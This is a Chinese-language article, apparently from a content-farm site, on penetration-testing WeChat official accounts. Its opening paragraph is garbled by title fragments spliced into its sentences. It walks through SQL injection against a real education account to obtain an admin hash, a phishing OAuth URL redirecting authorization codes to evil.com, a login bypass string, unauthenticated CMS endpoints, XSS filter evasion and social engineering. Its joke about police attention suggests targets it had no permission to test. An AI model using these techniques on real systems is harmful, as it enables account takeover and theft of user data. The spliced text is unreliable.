当前位置:首页 > 探索

微信公众号进行渗透测试流程

微信公众号的微信渗透测试,本质上和测一个普通Web站点没太大区别,公众但它有几处“坑”是号进绕不开的。比如,行渗你没法直接拿到服务器的透测root权限,也没法在公众号后台随便插一句话。试流更麻烦的微信是,微信官方对请求频率、公众IP、号进User-Agent都有严格限制。行渗我试过用Burp Suite直接抓公众号的透测包,结果不到十分钟,试流接口就返回了“操作频繁”的微信提示,账号还被临时封了半小时。公众所以,号进第一步不是急着扫目录,而是先搞清楚你手里有什么权限。

通常,你能拿到的入口就三个:公众号后台的登录态、自定义菜单的跳转链接、以及H5页面的接口。后台登录态最值钱,但需要钓鱼或者撞库。菜单链接最容易,因为很多运营图省事,直接填个带参数的URL,参数里可能藏着SQL注入点。H5页面则是重灾区,尤其是那些调用微信JS-SDK的页面,经常把access_token或者用户openid暴露在URL里。

我拿一个真实的案例来说。某教育类公众号,菜单里有个“查成绩”按钮,点进去是https://xxx.com/score?uid=123&class=abc。把uid改成123',页面直接报错,数据库版本都出来了。再试123 and 1=1,正常;123 and 1=2,空白。典型的布尔盲注。但微信这边有个限制:你没法用sqlmap直接跑,因为请求头里的Referer必须是https://mp.weixin.qq.com/,而且每个请求间隔不能低于3秒。手动写个Python脚本,配合时间盲注,跑了两个小时才拿到管理员密码哈希。

另一个容易被忽略的点是微信的OAuth2.0授权流程。很多开发者在redirect_uri里没做校验,导致你可以把授权码重定向到自己的服务器。具体做法:构造一个https://open.weixin.qq.com/connect/oauth2/authorize?appid=xxx&redirect_uri=http://evil.com&response_type=code&scope=snsapi_base,诱导用户点击。一旦用户授权,你的服务器就能拿到code,再用code换access_token,最后拿到用户的openid和昵称。这不算严格意义上的“渗透”,但属于逻辑漏洞,危害不小。

再说说后台。很多公众号后台用的是第三方CMS,比如微擎、微赞。这些系统历史上爆过不少RCE。你可以在登录页面试试admin' or '1'='1,或者直接访问/api.php?op=checkcode看有没有未授权接口。我见过一个微擎站,/web/index.php?c=site&a=entry&do=xxx&m=xxx这个路径没做权限验证,直接能调数据库导出功能。当然,现在微信对后台登录有扫码验证,但如果你能拿到管理员的微信openid,理论上可以伪造扫码请求——不过这个难度太高,不如直接社工。

最后提醒一句:别在公众号里直接测XSS。你插个<script>alert(1)</script>,微信会直接过滤掉,而且还会记录你的openid。真想测,把payload编码成&#x3c;script&#x3e;,或者用onerror事件绕。但更稳妥的做法是,先在自己的测试号上跑通,再换目标。否则,封号是小事,被请去喝茶就不好玩了。

分享到: